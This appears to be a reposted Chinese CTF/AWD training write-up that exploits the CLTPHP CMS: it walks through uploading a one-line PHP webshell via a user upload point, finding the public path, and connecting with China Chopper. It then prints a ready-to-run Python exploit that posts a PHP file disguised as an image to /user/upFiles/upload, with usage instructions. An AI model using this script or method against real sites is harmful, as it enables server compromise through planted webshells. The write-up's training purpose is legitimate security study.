CLTPHP 漏洞

前言

awd小组的第一次训练

0x01

首先看一下主界面
CLTPHP 漏洞_第1张图片

使用的应该是PHP模板,随便翻一下找到一个注册界面
CLTPHP 漏洞_第2张图片

随便注册一个用户,登陆后在设置里找到一个上传点
CLTPHP 漏洞_第3张图片

上传我们的一句话木马
CLTPHP 漏洞_第4张图片

查看返回包,上传成功
CLTPHP 漏洞_第5张图片

访问失败,猜测返回路径可能不是绝对路径
CLTPHP 漏洞_第6张图片
通过报错信息查找关键词,发现存在public目录 那再把public加上再试试~ success!
CLTPHP 漏洞_第7张图片
菜刀连接
CLTPHP 漏洞_第8张图片

0x02

换个思路,网站应该是开源的,百度搜一下关键词,找到一个 payload

#!/usr/bin/python
#-*- coding: UTF-8 -*-
#Author:Bypass
#Date:2018.03.01
import requests
import sys

def CLPHP_upload(url):
        header = { 'User-Agent' : 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)' ,
                                'X-Requested-With': 'XMLHttpRequest',} 
        geturl = url+"/user/upFiles/upload"
        files ={'file':('1.php',open('1.php','rb'),'image/jpeg')}
        res = requests.post(geturl, files=files,headers=header)
        print res.text

if __name__ == "__main__":
        if len(sys.argv) == 2:
                url=sys.argv[1]
                CLPHP_upload(url)
                sys.exit(0)
        else:
                print ("usage: %s xxx.com " % sys.argv[0])
                sys.exit(-1)

使用方法:把payload.py和一句话.php放到同一文件夹下,
CLTPHP 漏洞_第9张图片

cmd执行 python payload.py url
CLTPHP 漏洞_第10张图片

转载于:https://www.cnblogs.com/unixcs/p/11244463.html

你可能感兴趣的:(php,python)